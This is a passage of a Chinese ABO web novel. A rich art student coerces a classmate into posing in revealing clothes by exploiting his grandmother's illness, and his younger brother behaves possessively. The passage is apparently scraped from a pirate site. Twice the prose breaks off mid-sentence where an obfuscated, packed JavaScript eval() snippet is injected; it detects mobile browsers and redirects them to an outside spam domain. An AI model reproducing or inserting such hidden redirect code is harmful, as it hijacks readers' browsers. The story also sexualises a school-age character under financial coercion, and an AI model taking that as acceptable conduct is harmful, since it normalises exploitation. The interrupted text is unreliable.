球场爆发出一阵欢呼,仿佛这个干脆漂亮的扣篮是某种能够点燃热血的兴奋剂。简陋篮球场上蔓延的热情氛围甚至能够感染到围栏外的越青染。 这仅仅是发生在一瞬间的事,越青染的脑子里却反复播放着刚才那一幕。 他抬手轻轻抓住胸前的衣服,心脏在一下一下有力地跳动,埋藏在激烈的叫好声之下的,是越来越强烈的心跳声。 被众人围住的男生脸上没什么表情,只嘴角微微扬起一点可以忽略不计的弧度,接过矿泉水瓶仰头灌进一大半。 他没有刻意耍帅,不像那些赢了球故意撩起上衣擦汗的男生,但就是简简单单站在那里拿着纸巾擦汗,就足以让人疯狂呐喊尖叫了。 越青染脸颊有些泛红,定定地注视着球场中心的男生,突然,男生朝这边投来一眼。 冷淡的,随意的,漫不经心的。 可能根本没有注意到围栏外痴迷注视着他的越青染,只是随意一看罢了,但越青染的血液却因这一瞥浑身血液都翻涌了起来。 他指尖用力扣住轮椅扶手,心里涌起极其强烈的创作欲望。 一瞬间,眼前的一切都失去了色彩,灰白世界中唯有斜扫过来一眼的男生仿佛莫奈笔下的一抹梦幻色彩。 “在我灵魂的深处,缪斯如同狂风暴雨,让我在色彩中挣扎、舞蹈。”① ——他的缪斯。 出现了。 * 越青染耐心地等待了许久,浴室里水声停了,但迟迟没有人出来。 轮椅载着越青染清瘦的身体来到浴室门前。 他仿佛很是包容,温柔地弯起眼眸,抬手敲响了门,温声问道:“怎么还不出来?” 里面的人停顿半秒,开口道:“这就是你准备的衣服?” 他的声音听上去有些犹豫迟疑,越青染不常听见他这样的情绪,顿时心潮澎湃,抓着轮椅把手的手上青筋凸起,极尽克制。 简令祁的上身已经换好了白衬 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越青染微笑着,对他这样任性地提出小要求很是适用,但并不打算让他遂愿,状似提醒地说道:“奶奶那边应该很需要用钱吧。” 闻言,简令祁垂在身侧的手指微蜷了下。 他眼眸轻眨几下,沉默着转过身再次进了浴室。 越青染愉悦地歪了下头,看着再次紧紧闭上的门,心情却出奇得好。 自篮球场的单方面认识后,他只一闭上眼脑子里便仿若电影放映一般连环回放起那天的一幕幕,当机立断找人调查了简令祁。 在调查结果出来的那一刻,他一刻也不愿等待,在校门口拦住了简令祁。 保镖站在他的身边,他微笑着,清楚表达了自己的来意。 ——他以高薪聘请简令祁做他的模特。 简令祁毫不犹豫地拒绝了。 那时候他靠学习之余的兼职完全能够承担起家庭开支,虽然算不得多么富裕,但没有入不敷出就已经达到要求了。 越青染被拒绝之后,也没有骤然翻脸发怒,笑着将自己的私人名片塞到简令祁手里:“不要急着拒绝,有需要了随时联系我。” 他调查过简令祁,家里三口人,一个年龄比他小的弟弟,一个六十多岁的奶奶,以这个家庭目前的开支情况,一旦有人生病,以简令祁目前的兼职薪资绝对应付不了。 而像简令祁奶奶这样操劳过度、看上去比同龄人衰老得多的老人,越青染不觉得她身体会一直健康下去。 更何况越青染已经调查出来,她在接受联邦组织的老年人例行体检时,已被查出了病症,只不过藏在心里,始终瞒着家里两个孩子罢了。 他只是等待着,像耐心等待猎物乖巧地自愿跳进陷阱的猎手,静候着那一通电话的响起。 然后他再接起。 “是吗?那真是太令人难过了。你现在很需要钱吧……” “我当然可以给你,多少都可以,也可以提供给你最好的医疗团队。但我不是慈善家,你总得付出点什么吧……” 于是掉进陷阱的猎物在洞里无助可怜地仰头,看着高高在上的猎手,仿佛察觉不到猎手的满意与戏谑,疲倦的脸上显出郑重:“谢谢。” 越青染等到浴室的门开了。 简令祁垂下眸抿着唇,表情倒是和平常一样,但耳朵红透了。 他手掐着门框,深呼吸几下,别过眼错开越青染的视线,睫毛颤个不停。 他上身穿着极为适合他的白色衬衫,一本正经地系上了每一颗扣子,只看上半身极其符合他的外在形象,仿若不苟言笑的高岭之花。 但下身却穿着短至大腿.根的宽松短裤,再往下一寸是紧勒在大腿的衬衫夹,缠在放松的肌肉上,黑色衬衫夹周围溢出一点冷白色的细腻软肉。三个夹子将衬衫绷得很直,服帖勾勒出漂亮有力的身形。 越青染微眯起眼睛,呼吸声微重,似是某种暗示性极强的感叹:“我就说,会很漂亮吧。” 10. 第 10 章 单一色调之中,少年清瘦单薄的身形陷在并无额外装饰的大床里,四肢有些僵硬地摆着,很是无所适从的模样。 越青染静静盯了半晌,才终于出声,嗓音沙哑:“你可以闭上眼,当作睡觉一样,放轻松就好了。” 他冲简令祁笑了一下,那是一个安抚性的笑容:“你别这么紧绷着,我们不是一向相处很和谐吗?” 简令祁完全没有被安抚到,反而浑身紧绷起来,一想到自己现在是怎样衣衫不整地躺在别人的床上,绯色便一路从耳根蔓延至脖颈。 一瞥眼瞧见越青染目不转睛落在他身上的视线,他更觉羞耻,干脆使劲闭上了眼,在心里一个劲地说服自己放轻松。 这没什么……他穿着衣服,又不是什么都没穿,该挡的地方挡得严严实实。 而且在他的世界里,大家都是男人。没事的没事的。 等奶奶病情稳定下来,他也不用再继续这个不正经的模特工作了…… 越青染这个人给他的感觉比林泊知还要糟糕,心理行为和正常人简直就是大相径庭。他有时候根本算不到这人的脑子里在想些什么。 简令祁紧闭上了眼,尽力将自己的存在感缩到最低,试图用精神胜利法蒙蔽自己,但这却更方便了越青染观察他。 手拿画笔的艺术家眼神狂热又克制,压不住的痴迷一点点地从唇角的微笑中泄露出来,微张了张口,却没有出声。 但可以从口型中看出他在说——“缪斯,我的缪斯。” 他的目光仿佛最精密的仪器,从脸开始扫描,过分漂亮的长相,粉嫩唇瓣被抿住了点,脖颈泛着点未消的绯红,像是刚刚才被谁欺负过一般。 他生出一种在床上撒满玫瑰花的冲动——从玫瑰里长出的漂亮小王子,所以整个人像花一样鲜艳灼人,却又从内而外散发出点游离于社会之外的不染尘埃的清冷感。 越青染被自己的想法逗笑了,弯着眸继续注视着他。 大床上的少年看上去单薄瘦削,平日里挺直背站着的时候,有种令人不敢随意接近的疏离气息,看人时眼神冷冷的,没什么感情。但褪去圣维埃的那套规整制服后,展现出来的是匀称青涩的肌肉线条,浑身散发着种难以言喻的蛊人气质。 不是大多数人那种到健身房举铁锻炼出来的肌肉,而是平常生活里日积月累出来的,薄薄一层,却极具力量感。 越青染没被他打过,但他有所耳闻——简令祁打架很厉害。 衬衫夹勒在肌肉放松后的大腿上,黑与白对比的强烈色差几乎是在瞬间就让越青染眸色沉了下来。 他的双腿无力的搭在轮椅上,宽松灰色长裤却微微翘起,灰色是不太好掩盖的颜色,衬得动静很是明显,但好在简令祁此刻是闭着眼的,看不见这一幕。 越青染面色无任何异常,任着身体难受,双眸只定定看着少年洁白漂亮的小腿,隐秘的念头自安静空间中不断攀升,视线顺着小腿而上,黏腻的目光自空气中蔓延,边像把玩瓷器般抚摸,边往上进。 他唇角勾起抹笑,敛了多余的神情,握着笔。 硬质铅笔尖触上洁白画纸,房间里安静下来,只能听见笔与纸摩擦时的窸窣响声。 屋内点着乌龙茶香味的香氛,浅淡的香气在空气中蔓延,颜料浓重的味道夹杂在其中,闻着让人昏昏沉沉的,简令祁没想过真的在别人床上睡着,但一周高强度的学习加兼职确实让他累得狠了,此时又是闭着眼,没一会儿,呼吸就均匀了起来。 简令祁是被电话铃声响起吵醒的。 被倦意裹挟的意识一点点苏醒过来,他先是睫毛颤动了下,旋即眼皮掀起,残余着水汽的双眸还有些状况外的迷茫。 “先别动。” 越青染的声音提醒了他,几秒后他反应过来自己竟然在这儿睡着了,现在还在给人当模特的工作当中。 不动就不动吧。 但电话还是要接的。 他出声,声音因困倦而带了点哑:“应该是我弟弟打来的。” 越青染放下画笔,水桶里原本清澈的水有些浑浊了。他找到简令祁的手机,果然看见来电显示为弟弟。 按下了接通,点下免提后将手机贴近在简令祁耳边。 几乎是一接通,电话那头便迫不及待传来声音:“哥哥你多久回来呀?” 尾音刻意拉长了些,显得含糊不清,但一听便知年龄不大。 越青染扬着唇,在听见这故意表现得跟撒娇似的声音时,眸色生出了些一反常态的显而易见的反感,手举着手机,眼睛看着简令祁,像是在等着他会怎么回答。 对于这个问题,简令祁也不知道个准确的答案:“可能比较晚。” 实际上以往来越青染家里都是周末的早上,鲜少会有这样下午一放学就被叫来的情况。 他不知道越青染在想什么,但作为乙方,又是在缺钱的情况下,他只能尽力配合,并且在车上时便发消息告知了弟弟一声。 “可是我好想你啊哥哥,真的不回来吃晚饭了吗?我已经一周没有见到你了。” 那人将委屈可怜的度掌握得极好,适时地表现出了几分落寞,“我一个人在家里,有一点害怕……” 电话那边的人像是在掐着嗓子讲话,甜腻腻的质感让越青染一时没控制住表情,被激起了鸡皮疙瘩。 但简令祁好似完全没有听出电话那头的人的矫揉造作,反而安慰道:“你把门关好,别怕。我尽量早点回来。” 他的声线一如既往的冷淡,但在低声安慰人时眉眼却柔和了几分。 弟弟还想讲话,只刚说了一个音节就被越青染骤然打断:“不如我派车去接他吧,过来,一起吃晚饭。” 他将“一起”两个字咬得很重,含笑望着简令祁。 简令祁思索片刻,没有立刻应下,而是先朝电话那头问道:“你觉得呢?” 过了好一会儿,电话才再次传出声响,像是在强撑着笑讲话:“那还是算了吧,我感觉青染哥不太喜欢我,我就不来给别人添麻烦了。” 他带着难过说完这一番话后,又迅速愉悦地对简令祁说:“哥哥,我等你回来——” 光听他说这话的语气,就能想象出他此刻一定是弯着眼睛的。 简令祁看了越青染一眼,淡声道:“好,那你乖乖待在家里,不要出门。” 可能是因为家里人口少,从小就是奶奶把他们二人拉扯长大的,于是苏其饮格外黏他这个哥哥,十多年过去了,算起来如今是和乔榆一般大的年龄,本应该成熟懂事一些了,却仍旧像没长大似的,最会撒娇卖乖这一套。 简令祁曾经为这个问题头疼过,苦恼弟弟怎么养成了这幅模样,于是在家里生活好转,且奶奶还未表现出生病迹象时,把苏其饮送去了散打训练营。 本想着让弟弟拥有点自保能力,没想到的是,还没过几天弟弟就被送了回来。 哭得眼睛都红了,一看见他就抱着不松手,站在旁边的教练无比尴尬,结结巴巴解释道:“他不太习惯我们那里,这孩子、可能……比较恋家?” 小孩哭得上气不接下气,仰着脑袋抽泣道:“哥哥你不要我了吗?” 简令祁并没有被这次挫折打倒,他在附近打听着有没有不是封闭式训练的散打兴趣班,但还没等他找出合适的,苏其饮就分化成了一个omega。 omega…… 简令祁用网页搜索有关omega的资料,发现清一色的都是认为omega的身体素质极差,不能够独自承担体力劳动,除此再无有用的信息。于是他关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14213591|151124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了页面,一边按着太阳穴,一边闭着眼睛思索。 附近有哪个兴趣班招收学员时对性别没有要求? 还没等他想出这个问题,到晚上时就开始为另一个问题困扰了。 ——只有两个房间,睡觉怎么办? 虽说他从前的性别意识仅有男女,但按照现在这个世界的规则,a、b、o是三种不同性别,为了稳固弟弟的性别观念,他觉得他不该再和苏其饮挤在一张小床上睡了。 于是他抽出时间收拾出一床被子,在摇摇晃晃的小床边上打好了地铺。 铺好床铺后他出了些汗,洗澡后刚回到房里,就看见苏其饮怡然自得躺在了地上的那层褥子上,裹在被子里,只露出一张热气后泛着红晕的脸,坐起身乖巧问道:“哥哥,我们今天为什么要睡在地上呀?” 简令祁耐心解释:“是我睡在地上,你快回床上去。” 苏其饮眨了眨眼,像是明白了过来,但还是摇摇头,吐出两个字:“不要。” 无论简令祁怎么说怎么解释,他都始终裹在被子里不动弹,认真听完后,又极认真地答道:“可是我们一直都睡在一起的。” 翻来覆去就是这么一句话。 简令祁的头又开始疼了,他开始反省,难道是他没有正确给他科普过abo的生理知识吗? 但这些不都是学校会教的吗? 他艰难地搜集起自己脑海里对于abo性别同样贫瘠的知识,坐在褥子上认认真真给苏其饮解释了一遍。 “可是我们是兄弟啊,”苏其饮振振有词,驾轻就熟地扑到哥哥身上,毛茸茸的脑袋蹭着哥哥陡然僵硬的上身,“兄弟之间为什么要讲究这么多?难道哥哥会爱上我吗?” 他仰面,眼睛亮晶晶的像是在期待什么。 “胡说什么。” 简令祁眉头微蹙,就着这个姿势将他抱起,连着被子一起将人扔到床上,将床上原本的那床被子取走,动作利落迅速地甩在地铺上,声音冷硬:“睡觉。” 没给苏其饮任何说话的机会,灯被骤然关上,狭小的房间陷入黑暗,窗外投进点点星光。 床上除了床板之外就是一层不算厚的褥子,苏其饮被扔到床上,虽说有了被子的缓冲,但背还是被硌得一疼,就算没有立即查看,以omega娇贵的身体来说,估计也红了一片。 他意识到哥哥好像是真的有点生气了,也没再闹,只是探出一个头,小心翼翼地提出:“哥哥你睡床上吧。” 黑暗中他看不见简令祁的脸,这种看不见的陌生感让他生出些惴惴不安的情绪,又唤了声:“哥哥?哥哥你睡着了吗?哥哥……” 委委屈屈地压低了嗓音,像是下一秒就要因为没有得到回应就哭出来似的。 “苏其饮。” 简令祁喊了声他的名字,语气和平时没有任何差别,却让苏其饮立刻止了声,半晌嗫嗫嚅嚅道:“我知道了,我不吵你了……我会睡觉的。” 屋内没再有人说话,并不隔音的房子时而传来窗外的走动声叫骂声,时而传来隔壁又或是楼上楼下的大声叫嚷。 简令祁翻来覆去睡不着,地板并不是个适合睡觉的地方,薄薄的褥子也并未起到什么很大的作用,背又酸又疼。 说实话,他上辈子绝对没想过自己未来有一天会在这么艰苦的环境里生活。 他无声叹了口气,干脆起了身,放轻动作出了门,合门前还看了眼床上的闭着眼的男生。 还好,没有惊醒他。 简令祁开了客厅的灯,打开书包干脆开始做题。 他握着笔在纸上演算,没有注意到房间突然开了一个小缝,屋内的人猫着身子躲在缝隙里看。 暗色里一双眼睛很亮,弯着眼直勾勾注视着正低头做题的少年。 11. 第 11 章 越青染眸色微动,再看向简令祁时表情显出点无奈:“不知道你弟弟是怎么看出我讨厌他的。我倒是觉得他对我的敌意更大。” 简令祁对于他们之间谁讨厌谁这件事并不在意,也完全不感兴趣,于是毫不走心地点了点头,闭上眼睛说道:“继续画吧。” 越青染脸上的笑僵了一瞬。 刚刚和弟弟讲话时还显出几分温柔的人,对他说话时又恢复到了一贯爱答不理的态度。片刻后,他弯了弯唇,语气是带着点包容的温和,无奈道:“怎么这么不配合我?” 简令祁:“?” 他睁开眼,秀气的眉毛蹙起:“我哪里不配合你了?” 他觉得越青染在胡说八道。他保持着这个姿势一动不动这么久,手都僵了也没抱怨一句,怎么就成不配合了? 越青染弯眼看着他,好几秒后缓缓舒出一口气,像是自己把自己给说服了,没再质问简令祁,操控着轮椅转过身去。 拿起画笔继续作画。 他神情专注又认真,但掠过画架看向简令祁时,眼底那抹专注迅速被隐藏得很好的狂热与痴迷所替代。 被宽大手掌覆盖了一角的画并不与现实完全一致。 画上的背景是波涛汹涌的大海,偏紫的色调以及道道可怖的闪电都彰显了这处的险象环生, 但画面中央偏右的地方却有一片荷叶,其上躺着一位漂亮少年。 他轻闭着眼,安静而平和地躺在荷叶上,摇摇欲坠的荷叶让他看上去极其容易被迭起的波浪掀入未知的大海里,脆弱而不堪一击。 涩.情.意味极为浓烈的穿着以及仿若熟睡的安静神态又让人忍不住遐想非非。 ——像是送给海神的礼物。 最后一笔落下,越青染表情流露出对成作的满意,眸里光亮闪烁。 简令祁这次没再睡着,听见越青染说画好了便撑着床坐起了身。 他一直侧躺着,半边肩有些麻了,轻轻捏着那半边胳膊舒缓肌肉,一时没有注意到轮椅的靠近。 直到大腿上传来一点凉意,他才猛地往后缩去。然而并没有成功,衬衫夹的边被那人用手紧紧勾住,夹子又扯着衬衫绷紧。 简令祁手攥紧了床单,抬起眸,一字一句:“放手。” 他嘴上说着警告的话,腿部肌肉却下意识绷紧,这是他紧张时的一贯表现。 但用力时却刚好将越青染的手夹得更紧了些。 被衬衫夹和腿肉卡在其间,手掌严丝合缝地覆上微颤着的大腿.根,指尖将触碰的肌肤掐出薄红,不使上点劲都抽不出来了。 这个过于暧昧的姿势让简令祁不自禁从心里生出一种被冒犯的抵触感,极为没有安全感地,手指微微收紧,半握成拳撑住床。 越青染慢悠悠抬眸,从他的角度,正好可以看见宽松短裤下微微曲起的腿,皮肤白得透亮,再往里面就看不见了,露出若隐若现的一点黑色的边。 他突然发问:“你为什么突然住校?” 因这个受制于人的动作,简令祁浑身僵硬,咬牙:“你先把手松开。” 越青染敛眸,垂下的睫毛挡住眸里的思索,细腻滑润的触感紧贴着他的指腹,让他此刻处于一个微微兴奋的状态。 但他知道再继续下去,简令祁可能真的会生气,于是点到为止收回手。 随着他抽手的动作,黑色衬衫夹顺势弹在腿肉上,“啪”的一声,那片莹白瞬间被绯红所替代。 简令祁微微瞪大眼睛,看了眼自己腿上的痕迹,又抬起眸不可置信地看他。 这不是越青染的本意,他眨了眨眼,盯着大腿处被衬衫夹弹出的一道红痕,喉结微滚,刚想开口解释就被扔过来的一床被子劈头盖住。 视线蓦然一黑,他将盖在头上的厚重被子艰难取下,抿直唇甩了甩头,头发变得乱糟糟的。抬头看去,简令祁已经不在床上了,他拿着自己原先的那套衣服进了浴室。 等到简令祁再次出来,越青染已经收拾好了大半东西,画板被一层布盖住。 他看着冷着脸、再不看他一眼的少年,含着笑无奈解释:“我真的不是故意的。” 简令祁:“……” 谁管你是不是故意的。 重新换上的短袖长裤衬得他整个人清爽又干净,他掠过越青染拿起自己的黑色背包,单肩挎着。 越青染的声音在身后响起:“吃过晚饭再走吧。” 简令祁的脚步果不其然顿了一下,没立即应下,先是按开手机看了眼时间。 十点四十三了。 越青染看出他在犹豫,控制轮椅移动到他身边,乘胜追击:“已经这个点了,你难道要回去自己做饭吃吗?” 他猜着简令祁的犹豫的原因,补充道:“你弟弟不是小孩了,总不可能连自己吃饭都不会吧。” 简令祁微顿,心觉有理,便应了声“好”。 下了楼后,客厅里只开了盏小灯,越青染语气温柔地吩咐家里的下人准备晚餐。 简令祁坐在餐桌上,不动声色地四处看了看。 很宽敞的大厅,却只点着昏黄小灯,只能说可以视物,却算不上明亮。 他嘴唇微张,又想了想,闭上了嘴,没有发出疑问。 越青染却看出他想问什么,温声解释:“抱歉,不能开大灯。十点之后属于休息时间。” 简令祁:“……哦。” 按照越家的布局,一楼是客厅和餐厅,其余的房间都在二楼三楼,虽然不知道一楼的灯光为什么会影响到休息,但—— 不理解但尊重吧。 他坐在餐桌上,无视掉越青染始终落在他身上的灼热目光,安安静静地吃完了一碗面。 接近十一点了,越青染让司机把简令祁送回去,并叮嘱简令祁到家后给他发消息。 越青染带着歉意说:“家里有门禁,十点后不能出门,只能让司机送你了。” 简令祁不在意谁送,点了下头。 车载着他,司机很有职业素养,一路上半个字没说,简令祁也不爱说话,车上沉默一片。 车子在巷子口缓缓停下,狭窄逼仄的巷道不能容车身通过。 简令祁道了谢后下了车,没想到司机也下了车。 收到简令祁疑惑的目光,司机面色沉稳地解释:“少爷让我送您到家。” 简令祁拒绝:“送到这里就可以了。” 司机仍重复着那句话:“少爷让我送您到家。” 简令祁发现自己自从来了这个莫名其妙的abo世界后,遇到的听不懂话的人越来越多了。 索性也被磨练出了几分耐性,情绪稳定,淡声回道:“那你跟着吧。” 狭小的巷道有些黑,除了漫天繁星之外,唯一能够起到照明作用的设备也就只有接触不良而闪烁着的路灯了。 来回穿梭的人嘴里吐着不干不净的字眼,步伐很急很忙碌,烟头随手扔了一地,满到快要溢出的垃圾箱也没人处理。 穿着短袖长裤一身学生气的简令祁和西装革履的司机在其中格格不入,简直堪称异类。 简令祁沿着拐角转了又转,不知转了几次才终于到了一个破旧的老式居民楼下,他转过身,看着一直跟在自己身后沉默寡言的司机,说道:“我到了。” “少爷让我……” 简令祁不想再听他重复一遍,打断道:“我知道了。” 他后退一步,抬眼时表情有点冷:“但我并不希望让陌生人知道我家的具体住址。我说的够清楚了吗?送到这里就可以了,我不会在楼道上遇见任何危险,你的任务也不会有任何问题。” 他觉得自己解释得已经极其详尽了,如果眼前这位名为司机实为保镖的人还没听懂的话,他可能就不会再这么有耐心了。 终于,司机沉默着点了下头,总算说了一句别的:“看着您上楼后我就离开。” 闻言,简令祁毫不犹豫转过身,进了漆黑一片的楼道,手机开着手电筒照明。 老式居民楼是没有电梯的,他单肩背着书包,走路上了三楼,刚拿出钥匙还没插进去,门就打开了。 还没等简令祁看清扑来的人影,就已经被扑了满怀,他下意识将人接住。 苏其饮几乎悬空被他抱着,脑袋深埋在他衣领里,眯着眼睛嗅闻,嗓子自然而然夹着股恰到好处的甜腻:“我听声音就知道是哥哥回来啦!” 简令祁看不见的地方,他鼻翼翕动,旋即眸色阴沉得出奇。 哥哥浑身沾染着难闻的乌龙茶味道……他的哥哥出去时明明干干净净的,不过出去一趟就有些摆不清自己位置的玩意儿想弄脏哥哥了。 所有人都能闻见这个味道……这种动物性的圈地盘行为,让苏其饮生理性感到厌恶。 他算个什么东西? 还把自己的信息素味道作为屋内香氛?真是恶心透了。 他恶毒地诅咒着,像这种把自己的信息素散播得到处都是的人,就该被扔到大街上然后被人*死。 简令祁并不知道他心目中乖巧的弟弟此刻心里蔓延的阴暗心思,垂下眸,有些无奈地推了推挂在自己身上的人:“先进去。” “知道啦。” 进了门后,铁门被合上。 木桌上放着凉了的饭菜。两菜一汤,用罩子盖住了。 “我去热一热。”苏其饮积极地小步跑去,掀开罩子。 简令祁道:“不用,我已经吃过了。” 苏其饮动作一怔,眨眨眼,才状似如常说道:“这样啊。那我放进冰箱好了。” 简令祁突然想到:“你吃饭了吗?” 他眸里不自觉显出一点犹豫,不会吧不会吧……不会这个点还没吃饭吧。 不会真的等他回来……吧? 苏其饮正将菜捡进冰箱,认真调整位置,方便放进,抽了空转过头来,扬起一个很甜的笑:“我当然吃过了。” 他舔了下唇,语气有种说不出来的意味:“哥哥在外面吃过饭了,我在家里当然也一样。” 他收拾桌子的动作很利落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14213592|151124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,时不时抬眼看着简令祁弯起眼笑:“难道哥哥觉得我会等你回来一起吃吗?” 他像是开了个还不错的小玩笑,抬起头目不转睛看着简令祁的反应,却发现他并没有顺着自己的玩笑继续说下去,只是点了下头,表现得有些冷淡:“吃了就好。” 苏其饮敛下眸,无人注意时视线却骤然阴沉了下去。他心不在焉转过身,没注意到身子撞到厨房台子上的盘子,顺势带倒了下来。 他心神不宁地注视着盘子生生砸在地上,碎片飞溅起来,一片一片带着能够割伤人的杀伤力,他也仍一动不动地盯着。 他这时候思维又活跃起来了,还好是空盘子,如果里面有饭菜的话,溅一裤子就不好看了,而且味道会很难闻。 这样就很好,哥哥会主动关心他,他们之间也不会被难闻的饭菜气味所打扰。 发散的思维不可避免地绕到了之前的那个问题。 哥哥问他吃饭了吗……? 可是他就是会等哥哥回来一起啊。 他整整一周没看见哥哥,今晚连吃饭都没有一起……都怪越青染。 ……这个贱人,真该死。 这突兀的清脆响声成功将简令祁的视线吸引了过来 他看了眼地上的惨状,微蹙着眉。碎了一地的瓷片,溅得到处都是。 苏其饮像是有些害怕地瑟缩了一下,抬起头无措地喊了声:“哥哥……” 简令祁舒出口气:“先别乱动。” 他走上前蹲下身,将几个较大块的瓷片小心捡起,一边问:“受伤了吗?” 苏其饮低头看着哥哥白净一片的后颈,牙齿忍不住磨了磨,嘴上却是可怜的示弱:“不知道,但是有点疼。可能划伤了……” 简令祁抬眸看了他一眼,苏其饮神情一紧,担心他看出来自己是装的了,但下一秒他就看见哥哥起身将那几块碎瓷片扔进了垃圾桶,还关心他:“你去沙发上坐着,慢点,别踩着碎片了。” 苏其饮听见哥哥关切的话语,脸色瞬间漾起绯红,也没去听话坐在沙发上,而是亦步亦趋地跟在哥哥身边。 简令祁正拿着扫把清理地上剩下的那些细小碎片,被身边人左挡一下右挡一下,根本伸展不开身体。不得不停了动作看向他,什么也没说,但明显是在问他要干嘛。 “我来吧。”苏其饮扬着唇笑,主动接过扫把。 简令祁松开手,由着他夺去,轻皱了下眉,视线落在他被睡裤包裹的腿上:“不是受伤了吗?” “有点疼,但可以忍。”苏其饮挑着自己最好看的角度侧过脸去,看着哥哥说,“我闯的祸我自己处理就好了,哥哥你快去休息。” 简令祁不太放心,习惯性抿起唇:“让我看看。” 苏其饮听话地低下头,认真卷起自己的裤腿,宽松的睡裤被他用手攥住而不落下,简令祁便屈着膝,垂眸观察他的腿上有没有留下伤口。 有点红,差一点就擦破皮了。 “别动。”简令祁提醒一句后,小心掠过地上的残渣,在柜子里找出碘伏,又走过来,半蹲着给他上药。 “嘶。”苏其饮倒吸一口冷气。 简令祁动作顿了下,“疼?” 他抬眸看,发现苏其饮的脸不正常的发烫,迅速抬起另一只手,用手背贴上他的额头,又碰了碰自己的。 是有点烫。 生病了? 苏其饮声音倒是很正常,不像是生病的样子,很有精神,目不转睛地盯着他,甜甜笑着摇头:“还好。” 涂好碘伏后,简令祁将他这只腿的裤子折了折挽好。 苏其饮坚持要承担清理碎片的责任,简令祁也没和他再继续争下去,洗漱去了。 等他洗漱完出来,客厅已经没有人了。 可能是……去睡觉了? 他没作多想,进了自己房间。 这个房子并不是小时候住的那间了。 三个人不可能一直挤在两室一厅布局的房间里。家里攒了点钱后,他们便在原来住所的附近买下了新房子,旧的那间转卖出去了。 在简令祁刚打地铺那时,奶奶就很不赞同。 说服不了简令祁继续和苏其饮睡一张床,她便提出让简令祁住她那间,她看着冷硬地板上薄薄一层褥子,心疼得眉头紧皱:“我老人家一把硬骨头了,睡哪里都睡得惯,但是我们家小祁可不能睡地板上,正长身体呢。” 简令祁当然不可能同意。 后来没多久就换了新房子。 准确来说,是新的老房子。 一样的隔音差,一样的墙皮脱落。 但好歹是能住了。 简令祁打开自己房间的门,按下墙上的灯光开关,积了灰的灯泡照明效果不算好,但也足够看清床上被子鼓起一团。 这是他的房间! 他不太开心地抿着唇,长睫一颤一颤的,微遮住浅色瞳孔,双手轻环着靠在门上,直接喊出鼓起那团子的大名。 “苏其饮,你又在闹什么?” 12. 第 12 章 “今天也不可以一起睡吗?” 被子里探出一个头,故作出可怜巴巴的姿态问道,“我已经一周没见到你了。” 他伸出一根手指,企图唤起哥哥的一点同理心。 简令祁的视线平静落在他身上,让他下意识屏住呼吸,莫名觉得自己的渴求能有点希望。 然而下一秒简令祁就移开视线,随之吐出的一句话让苏其饮刹那间希望尽碎。 “我数三声,马上回到你自己的房间。”简令祁没有等他回应的意思,直接开始倒数,“三。” 苏其饮大睁着眼睛,圆眼立刻蕴起摇摇晃晃的水汽,挂在眼角欲落不落,特别能够引起人怜惜的模样。哑着嗓子继续为自己争取:“我真的很想哥哥。” “二。” 苏其饮瘪起嘴,眼泪大颗大颗往下掉,鼻头红红的,委屈地唤道:“哥哥……哥哥你就一点点都不想我吗?” 简令祁面色冷淡,不为所动地看着他,再次扣下一根手指,下了最后通牒:“一。” 话音还未落,苏其饮立马就从床上爬了起来,迅速冲出房间,慌慌忙忙闹出不少响动,但关门时还记得撇着嘴角留下一句:“我生气了!我再也不会原谅哥哥了。” 他做出要摔门的动作,但偷瞥了一眼面无表情的哥哥,还是没敢放肆,合上时刻意放轻动作,门被轻轻合拢,发出咔哒一声。 见人终于离开了,简令祁按了按额角。 他自问,这么多年来他也没过度惯着苏其饮,怎么就把小孩养成了这幅模样? 像小时候一样幼稚。 而且黏人。 他微摇了下头,随即不再想这件事。 手指攥住衣角,干净利落地卷起脱下,短袖被随意扔在凳子上,露出劲瘦流畅恰到好处的一层薄肌,覆在白得几乎反光的上半身,让人根本移不开眼。 不过漂亮的风景没露出几秒,没有任何图案的纯色睡衣就套在了身上,将其完全覆盖住了。 当他准备换裤子时,才发现自己腿上的红痕现在还未消。 他手里拎着睡裤,拧着眉注视皮肤上那道淡红的一圈颜色。 这么久了还没消完全吗? 他暗忖着是直接穿上睡裤,还是先拍张照发给越青染,让他赔偿点损失,趁机讹上一笔? 还没等他想出个什么来,刚被合上的门再次骤然被推开。 “哥哥我……” 苏其饮慌慌张张推开门,话卡在一半,视线不由自主被哥哥裸.露着的双腿所吸引,也没心思顾忌哥哥皱起的眉头了,像傻了一般,呆愣地咽了下口水。 简令祁迅速反应过来,动作飞速地套上睡裤,心里不自禁升起点羞恼情绪,但很快被他压了下去。 身为哥哥的威严让他保持着如常的冷静,冷着一张脸道:“我有没有和你说过,进门前先敲门。” 这门年久失修,锁坏了不止一次,简令祁也找人修过,但效用不大,修了没过几天还会坏,开锁匠来了好几趟后,建议他干脆换个门,一劳永逸。 简令祁想了想,想到换门的价钱,又突然觉得这好像也不是个很大的问题,将就着也能住,便放置不管了。 门的锁坏了其实不是特别大的事,一般来说也不会有人未经允许便进入另一个人的私人空间。唯独苏其饮,即便是向他强调了千百遍“进门前敲门”,他也全当耳旁风,不知道是喜欢他房间的布局还是位置,总爱偷偷钻进他的屋里。 苏其饮目不转睛盯着他,即便是看见他穿戴整齐了,也没有立即挪开视线,目光仍在他的双腿上流连,像是被施了定身咒一样。 